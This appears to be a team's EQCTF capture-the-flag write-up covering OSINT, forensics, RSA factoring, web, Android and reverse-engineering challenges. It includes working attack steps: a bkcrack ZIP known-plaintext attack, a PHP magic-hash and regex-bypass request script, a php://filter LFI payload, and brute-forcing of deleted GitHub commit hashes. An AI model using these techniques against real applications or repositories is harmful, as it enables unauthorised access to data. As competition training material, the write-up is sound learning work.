# EQCTF
# OSINT
## Lost At Sea
- You are given an image and need to find its **exact coordinates**.
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119154146.png">
---
- At first I search for the `NOVOTEL`, and reverse search the cropped image of the hotel.
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119160436.png" width="400">
---
- I found the location at `lyon, france` and tried every possible attempts from the angle (street view) ... none of them works, I even tried changing different time.
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119160852.png" width="600" height="600">
---
- Then, after multiple attempts, I click at the `river` and open the `street view`.
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119161753.png">
---
- After `analyze and compare` the `image and street view`, I found out they are the same, the exact coords is at the `link url in red`.
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119155109.png">
---
## Garry: Beyond Music's End 3
Desc: Garry and his friends seem to be talking about a new threat group that steals wizard data, wonder what the fuzz is all about...
---
- This one need to find the `github repo` since they mentioned `repo`.
<img src="https://bakayang.vercel.app/images/Screenshot%202025-01-19%20at%204.46.13%20PM.png">
---
- After looking through the files, I found out they prob removed it. But, you can still find it via `Activity`
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119165000.png">
---
- Bingo!
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119164814.png">
---
## Garry: Beyond Music's End 4
Desc: Garry made a new post, I heard he is gonna be a Supreme Wizard today!
---
- In `Garry's x.com` from `Garry: Beyond Music's End 1`, the image description in the gif contains a `link`.
<img src="https://bakayang.vercel.app/images/Screenshot%202025-01-18%20at%206.35.09%20PM.png" width="500">
---
- The `link` navigates to a `brainfuck code`.
<img src="https://bakayang.vercel.app/images/Screenshot%202025-01-18%20at%206.34.36%20PM%201.png">
---
- Decrypting `brainfuck code` gets you a `discord link`.
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119163523.png" width="700">
---
- Inside `discord link`, got `plus code`.
<img src="https://bakayang.vercel.app/images/Screenshot%202025-01-19%20at%204.36.31%20PM.png" width="900">
---
- After research `plus code`, it gets to the `location`.
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119163930.png" width="700">
# BRAINFUCK
## DETERMINATION
- Whoever made this challenge, I'll send assassins to u. JK... JK...
- This challenge is so cooked...
---
- First, I use `premiere pro` to `0.25x speed`.
- and yes, I watched every frames 😭
- The challenge is to `spot the flag` `hidden sight` in the video.
- You get the flag in `3 parts`.
- The first one ||look bottom left corner||
<img src="https://bakayang.vercel.app/images/Screenshot%202025-01-19%20at%205.00.13%20PM.png">
- The second one ||left besides tree in white dream||
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119172906.png" width="700">
- The third one ||look under the window||
<img src="https://bakayang.vercel.app/images/Pasted%20image%2020250119171128.png" width="700">
- The flag (for those who don't want to cooked): ||EQCTF{R3AL_3L1T3_3Y3S1GHT}||
---
# Misc
## Join Our Discord
- Just join the discord and there is the flag on the annoucment channel ```RVFDVEZ7VzNsQzBtM19UMF9FcXVpbGlicml1bV9EMXNjMHJkfQ==```
cyberchef it and get the flag ```EQCTF{W3lC0m3_T0_Equilibrium_D1sc0rd}```
# Forensic
## Velociraptor
1. Download the attach file
2. VeLoCiraptor\C\Users\kelvin\AppData\Roaming\Microsoft\Windows\Recent
- We can found some hash on this page with the file name ```RVFDVEZ7MXRzX3IzNExseV9o and MG1ldzBya190UnVTdF9tMyF9```

3. Then just cyberchef it.
## Kuih Lapis
1. Download the poem.pdf file
2. Throw it into [pdf inspect](https://pdfcrowd.com/inspect-pdf/) website and we will see all the details in this page

3. And we can see the details and flag at here !
4. 
## Lost Password
1. Download the zip file.
2. We can see inside have cloud_password.txt and a index.html file. 
3. With the use of BKCrack, we can use known plaintext attack on pkzip
4. Next find the common bytes in the index.html file(why html file? as we dont know the starters of the cloud_password.txt) 
.
5. Save those code in a file call bin
6. Then ```bkcrack -C html.zip -c "index.html" -p bin```
7. After getting the key, Continue to crack it
8. ```bkcrack -C html.zip -k 1d63e85a b3b66126 33619315 -U bkbk.zip 1234```
1d63e85a b3b66126 33619315 is the key, and 1234 is the password we set.
9. then unzip the zip file bkbk.zip with pass 1234.
10. Thats it the flag here

# Crypto
## Neighbour RSA
1. Download the file, then see the rsa encrypted code
```Original_Code
from Crypto.Util.number import inverse, long_to_bytes
from gmpy2 import isqrt, mpz
def fermat_factorization(N):
a = isqrt(N) + 1
b2 = a * a - N
while not is_square(b2):
a += 1
b2 = a * a - N
b = isqrt(b2)
return a - b, a + b
def is_square(n):
return isqrt(n) ** 2 == n
# Given values
N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267
e = 65537
C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581
# Step 1: Factorize N
p, q = fermat_factorization(N)
print(f"p = {p}")
print(f"q = {q}")
# Step 2: Compute the private key d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(f"d = {d}")
# Step 3: Decrypt the ciphertext C
plaintext = pow(C, d, N)
print(f"Plaintext (as long): {plaintext}")
# Step 4: Convert the plaintext to bytes
flag = long_to_bytes(plaintext)
print(f"Flag: {flag.decode()}")
```
2. Then decrypt it!
``` Decrpytt
from Crypto.Util.number import inverse, long_to_bytes
from gmpy2 import isqrt, mpz
def fermat_factorization(N):
a = isqrt(N) + 1
b2 = a * a - N
while not is_square(b2):
a += 1
b2 = a * a - N
b = isqrt(b2)
return a - b, a + b
def is_square(n):
return isqrt(n) ** 2 == n
# Given values
N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267
e = 65537
C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581
# Step 1: Factorize N
p, q = fermat_factorization(N)
print(f"p = {p}")
print(f"q = {q}")
# Step 2: Compute the private key d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(f"d = {d}")
# Step 3: Decrypt the ciphertext C
plaintext = pow(C, d, N)
print(f"Plaintext (as long): {plaintext}")
# Step 4: Convert the plaintext to bytes
flag = long_to_bytes(plaintext)
print(f"Flag: {flag.decode()}")</p>
```
3. and you get the flag
## Neighbour RSA_2
1. Here is the original code provided
```
from Crypto.Util.number import *
from gmpy2 import prev_prime as next_prime
import secrets
flag = b"EQCTF{<REDACTED>}"
a = bytes_to_long(secrets.token_bytes(100))
p = getPrime(1024)
q = next_prime(a+p)
N = int(p*q)
e = 65537
f = int(q+a-p)
C = pow(bytes_to_long(flag),e,N)
print(f"{N=}")
print(f"{e=}")
print(f"{C=}")
print(f"{f=}")
# N=10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309
# e=65537
# C=2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499
# f=4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652
```
2. Decrypt it
```
from Crypto.Util.number import long_to_bytes, inverse
from gmpy2 import isqrt
# Given values
N = 10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309
e = 65537
C = 2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499
f = 4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652
# Approximate a
a_approx = f // 2
# Define a small range around a_approx
range_size = 1000 # Adjust this range as needed
# Iterate over the range
for delta in range(-range_size, range_size + 1):
a = a_approx + delta
# Solve the quadratic equation: p^2 + (f - a) * p - N = 0
A = 1
B = f - a
C_eq = -N
# Discriminant
discriminant = B**2 - 4 * A * C_eq
# Check if discriminant is a perfect square
if discriminant >= 0:
sqrt_discriminant = isqrt(discriminant)
if sqrt_discriminant * sqrt_discriminant == discriminant:
# Solve for p
p_candidate = (-B + sqrt_discriminant) // (2 * A)
# Check if p_candidate is a factor of N
if N % p_candidate == 0:
p = p_candidate
q = N // p
print(f"Found p and q:")
print(f"p = {p}")
print(f"q = {q}")
# Compute phi(N)
phi = (p - 1) * (q - 1)
# Compute the private key d
d = inverse(e, phi)
# Decrypt the ciphertext
plaintext = pow(C, d, N)
# Convert the plaintext to bytes
flag = long_to_bytes(plaintext)
print(f"Flag: {flag.decode()}")
break
else:
continue
else:
print("Failed to factorize N.")
```
3. Anddd there you go the flag
# WEB
## EggSecret
1. First download the file attached and lets see whats inside.
2. We can see that there is a secret hash at there ```00e39786989574093743872279278460``` also there is something we need to bypass ```(preg_match("/^(.*?)+$/s", $egg))```
3.
```
import requests
url = "http://135.181.88.229:31730/"
params = {"eggSecret": "240610708"} # String with MD5 hash starting with "0e"
data = {"egg": "A" * 10000} # We need large input to bypass the regex
response = requests.post(url, params=params, data=data)
print(response.text)
```
4. and we can get the flag content.
## KingsBrew
1. First we get into the website using the host and port given.
2. According to the hint it should be something menu as when you press {drink and flag!} it jump out menu.php.
3. After we test, LFI is usable in this case
4. ```http://135.181.88.229:35206/?page=php://filter/convert.base64-encode/resource=menu.php```
5. This is one of LFI payloads of PHP filters to read menu.php without executing PHP and decode the base 64 by ourself using cyberchef.
# Mobile
## Who's that pukimon
1. Download the APK Andorid files and open it in a android emulator(Im using andorid studio)
2. We can see that this is a game that we need to guess who is this Pokemon (pukimon)

3. With the use of jadx-gui
4. We can see that the main activity files is mainactivity

5. Find it out at (source/io.eqctf.pukimon/MainActivitykt)
6.

```
/* JADX INFO: Access modifiers changed from: private */
public static final Unit a$lambda$11$lambda$10(Context yeet, MutableState a$delegate) {
Intrinsics.checkNotNullParameter(yeet, "$yeet");
Intrinsics.checkNotNullParameter(a$delegate, "$a$delegate");
if (a(a$lambda$6(a$delegate))) {
Toast.makeText(yeet, "It's " + a$lambda$6(a$delegate), 0).show();
byte[] decode = Base64.decode("AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9", 0);
Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
Log.d("Flag", "Congratz on guessing the pokemon: ".concat(new String(decode, Charsets.UTF_8)));
} else {
Toast.makeText(yeet, "It's not " + a$lambda$6(a$delegate), 0).show();
}
return Unit.INSTANCE;
}
}
```
7. Decode ```AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9``` with cyberchef and we can get the flag EQCTF{1Ts_Shr0oMr1sHiE!!!!}
## Capture that Pukimon
1. With the use of http toolkit, we can intercept the data from the firebase

2. And thats the flag EQCTF{Int3RcEpT_da_Tr3FfiC}"
# Reverse Engineering
## Baka Mitai

---
### Goals
1. Check file information using checksec
2. Decompilation using ghidra, check the flagchecker flow
3. Deploy angr script, perform symbolic analysis
_References:_
https://shinmao.github.io/posts/2022/02/bp1/
https://github.com/jakespringer/angr_ctf
---
1. Using checksec, we realised the file is dynamcally linked, stripped

2. Decompile with ghidra, since it's stripped, we have to find the main entry from entry function

3. Try to rename the variables, functions, for ease of analysis

From this point, we could know that:
- The program proceed if flag length == 0x37 (55 characters),
- It go through complex transformation, lastly doing flagcheck and tell if the flag provide from user input is correct
- Well, we are not going to reverse and go through these complex transformations.
- Instead, we will deploy angr script, automate this process
4. I deployed the angr script on google colab

```python
!pip install angr
import angr
import claripy
# Define binary path and parameters
input_file_path = './chall'
flag_length = 55
known_string = 'EQCTF{'
FIND_ADDR = 0x4016e4
AVOID_ADDR = [0x4016fa, 0x40159f]
START_ADDR = 0x40158d
# Load the binary
proj = angr.Project(input_file_path, auto_load_libs=False, main_opts={'base_addr': 0x400000})
# Create symbolic characters for the flag
known_chars = [claripy.BVV((known_string[i])) for i in range(len(known_string))]
flag_chars = [claripy.BVS(f"flag_{i}", 8) for i in range(flag_length - len(known_string))]
flag = claripy.Concat(*known_chars + flag_chars)
# Create a blank state at the start address
state = proj.factory.blank_state(addr=START_ADDR)
state.options.add(angr.options.LAZY_SOLVES)
state.options.add(angr.options.UNICORN)
# Define the address of the local variable `local_58` (e.g., `[RBP - 0x50]`)
# Assume RBP is initialized to some stack base (common for blank_state)
stack_base = state.regs.rbp
local_58_address = stack_base - 0x50 # Offset to local variable `local_58`
# Store the symbolic flag into `local_58`
state.memory.store(local_58_address, flag)
# Pass the address of `local_58` in RDI (used by __isoc23_scanf)
state.regs.rdi = local_58_address
# Add constraints to ensure flag is printable (ASCII range 0x20 to 0x7e)
for k in flag_chars:
state.solver.add(k < 0x7f) # Less than 0x7f (127)
state.solver.add(k > 0x20) # Greater than 0x20 (32)
# Create a simulation manager
sim_manager = proj.factory.simulation_manager(state)
# Explore paths to find the target address while avoiding bad paths
sim_manager.explore(find=FIND_ADDR, avoid=AVOID_ADDR)
# Check if a solution was found
if len(sim_manager.found) > 0:
# Evaluate the symbolic flag to retrieve its value
solution = sim_manager.found[0].solver.eval(flag, cast_to=bytes)
print(f"Flag found: {solution.decode()}")
else:
print("No solution found.")
```
To understand how this script works in details, do check out the references provided, and follow the tutorials.
The scripting is hard, it just follow a strict template.
However, there are few points worth mentioning,
- the start_addr, should be placed after scanf CALL instruction, better if placed at where complex transformation start
- symbolic stack approach is an important point, specifically for this challenge where you can't just use a universal angr template
- blank_state should be used instead of entry_state because strlen is called before scanf, if you define the sim manager with entry state, it will waste extra resources going through strlen library call. Within all libc library call, there are mutex locks which angr cant deal with, which is why you need to hook the function and simulate user input with symbolic memory
- find_addr, is the desired memory location where the instance of "Correct" is reached
- avoid_addr are the memory location to avoid such as "Wrong"
### Final Result
---

## Cryptic Token Diffusion

---
### Goals
1. Perform binary diffing
2. Match index number to correspond characters
3. Rearrange the character in ascending order according to their index number
_Tools required: vbindiff_
---
1. Viewing the files, there are two versions of application. Thus, we try to compare the difference between versions.

```bash
vbindiff vault-v1.0.0.elf vault-1.2.1.elf
```
2. Observe the pattern, we realised that there are two parts showing difference in binaries:
- vault-v1.0.0 acts as the index number, corresponds to the characters in vault-v1.2.1
_Part 1_

_Part 2_

- List out all the correspondence, sort them in ascending order, turn to ASCII and print it out
```python
v1p1 = [12, 28, 0, 23, 15, 21, 10, 4, 27, 5, 26, 8, 17, 3, 18, 25]
v1p2 = [9, 13, 7, 24, 6, 2, 1, 11, 14, 22, 29, 16, 19, 20]
v2p1 = [0x37, 0x67, 0x45, 0x31, 0x62, 0x5f, 0x30, 0x46, 0x6e, 0x7b, 0x31, 0x74, 0x6e, 0x54, 0x34, 0x66]
v2p2 = [0x72, 0x30, 0x6E, 0x66, 0x31, 0x43, 0x51, 0x5F, 0x5F, 0x64, 0x7D, 0x31, 0x72, 0x79]
v1 = v1p1 + v1p2
v2 = v2p1 + v2p2
pairs = sorted(zip(v1, v2))
sorted_ascii = ''.join(chr(value) for _, value in pairs)
print(sorted_ascii)
```
### Final Result
---

## Gen Z

---
### Goals
1. Deobfuscate the C code, you may choose not to as it just work
2. Observe the log, figure out how the flag might relate to the timestamp
---
1. Opening the file, you will see obfuscated C code
```cpp
#define rn ;
#define finna =
#define cap !=
#define mf *
#define bouta &
#define ongod ++
#define sheesh <
#define fr <<
#define bet if
#define chief main
#define yikes break
#define deadass return
#define skibidi {
#define tho }
#define bussin cout
#define huh true
#define lit double
#include <iostream>
#include <fstream>
#include <iomanip>
#include <openssl/sha.h>
using namespace std rn
unsigned int seed() skibidi
deadass static_cast<unsigned int>(time(nullptr)) rn
tho
string getHash(lit value) skibidi
ostringstream oss rn
oss fr setprecision(17) fr value rn
string text finna oss.str() rn
unsigned char hash[SHA256_DIGEST_LENGTH] rn
SHA256(reinterpret_cast<const unsigned char mf>(text.c_str()), text.size(), hash) rn
ostringstream result rn
for (int i finna 0 rn i sheesh SHA256_DIGEST_LENGTH rn i ongod) {
result fr hex fr setw(2) fr setfill('0') fr static_cast<int>(hash[i]) rn
tho
deadass result.str() rn
tho
int chief() skibidi
while (huh) skibidi
unsigned int s finna seed() rn
srand(s) rn
int x finna rand() rn
string flag finna getHash(x) rn
bet (flag.find("a9ba358e") cap string::npos) {
ofstream outfile("./flag") rn
bet (outfile.is_open()) {
outfile fr "EQCTF{" fr flag fr "tho" rn
outfile.close() rn
tho
yikes rn
tho
time_t now finna time(0) rn
tm mf ltm finna localtime(bouta now) rn
bussin fr "[" fr 1900 + ltm->tm_year fr "-" rn
bussin fr 1 + ltm->tm_mon fr "-" rn
bussin fr ltm->tm_mday fr "] " rn
bussin fr "🤓☝️ erm actually, you're incorrect 🥺👉👈: " fr x fr endl rn
tho
bussin fr "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" fr endl rn
deadass 0 rn
tho
```
Just replace the obfuscated part with its actual symbol as shown in define list, to ease our debugging process.
2. After debobfuscation,
```cpp
#include <iostream>
#include <fstream>
#include <iomanip>
#include <openssl/sha.h>
using namespace std;
unsigned int seed()
{
return static_cast<unsigned int>(time(nullptr));
}
string getHash(double value)
{
ostringstream oss;
oss << setprecision(17) << value;
string text = oss.str();
unsigned char hash[SHA256_DIGEST_LENGTH];
SHA256(reinterpret_cast<const unsigned char *>(text.c_str()), text.size(), hash);
ostringstream result;
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++)
{
result << hex << setw(2) << setfill('0') << static_cast<int>(hash[i]);
}
return result.str();
}
int main()
{
while (true)
{
unsigned int s = seed();
srand(s);
int x = rand();
string flag = getHash(x);
if (flag.find("a9ba358e") != string::npos)
{
ofstream outfile("./flag");
if (outfile.is_open())
{
outfile << "EQCTF{" << flag << "}";
outfile.close();
}
break;
}
time_t now = time(0);
tm *ltm = localtime(&now);
cout << "[" << 1900 + ltm->tm_year << "-";
cout << 1 + ltm->tm_mon << "-";
cout << ltm->tm_mday << "] ";
cout << "🤓☝️ erm actually, you're incorrect 🥺👉👈: " << x << endl;
}
cout << "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" << x << endl;
return 0;
}
```
3. Observing the logfile,

We should focus that flag is paired up on \[2025-01-01], so we should patch our c code to run on that time stamp, and which we just need to fix the seed() function
Part that affect:
```cpp
unsigned int s = seed();
srand(s);
int x = rand();
```
Patched seed() function:
```cpp
// Brute-force timestamp around 2025-01-01
unsigned int seed() {
static time_t test_time = 1735689600; // 2025-01-01 00:00:00 UTC
if (test_time <= 1735775999) { // 2025-01-01 23:59:59 UTC
return static_cast<unsigned int>(test_time++);
}
return static_cast<unsigned int>(time(nullptr)); // Fallback to current time
}
// -------------------------------------------
// You may also add the line for Found correct seed: to indicate that you found correct seed
if (flag.find("a9ba358e") != string::npos) {
ofstream outfile("./flag");
if (outfile.is_open()) {
outfile << "EQCTF{" << flag << "}";
outfile.close(); }
cout << "Found correct seed: " << s << endl;
break;
}
...
...
```
4. Due to the usage of openssl/sha.h, we should compile our C++ file as below
```bash
g++ -o gen_z chall.cpp -lssl -lcrypto
```
5. Execute the file
```bash
./gen_z
```
### Final result
---

And flag file is generated:

# GitHub
Here compiles all the challenge related to bruteforing github commit SHA1 hashes
## Goals
1. Some commits are deleted, but it is still hidden on github with original SHA1 key unless the whole repo is deleted and rebuilt.
2. We need to scrape the hidden commit by doing bruteforcing from hex 0000 until ffff to retrieve all the available commit hashes
## Challenges
| Challenges | Category |
| -------- | -------- |
| Garry: Beyond Music's End 3 | OSINT |
| Github is weirdddd 1.0 | Brainfuck |
| Github is weirdddd 2.0 | Brainfuck |
## Solution
@gr1d wrote a bruteforce tool, [GitSHA](https://github.com/gr1d-init/gitsha), for these challenges.
### Steps
1. Install the tool.
```bash=
git clone https://github.com/gr1d-init/gitsha.git
```
2. Automate bruteforcing with the tool.
```bash=
python gitsha.py -r "<author's name>/<repo's name>"
```
## Final result
1. Garry: Beyond Music's End 3
```
3419
4568 #
66f8
8da4 #
a5b6 #
```
2. Github is weirdddd 1.0 and 2.0
```
0067
0b3d
2a63
458e (GitHub 2.0)
481f
4bec
5b27
5ef6
621e
693a
724c
8f66
a24a
b2ff
c47a
cf29
cfba (GitHub 1.0)
ed44
ed90
f6aa
```
### Flags
| Challenges | Category |
| -------- | -------- |
| Garry: Beyond Music's End 3 | EQCTF{w1z4rd_0f_l3g3nds_1n_d1sgu1s3} |
| Github is weirdddd 1.0 | EQCTF{hmmmmmmmm_G1t_L3ak_d@_Fl3g} |
| Github is weirdddd 2.0 | EQCTF{Brut3333333333_D@_C0mm1t_99} |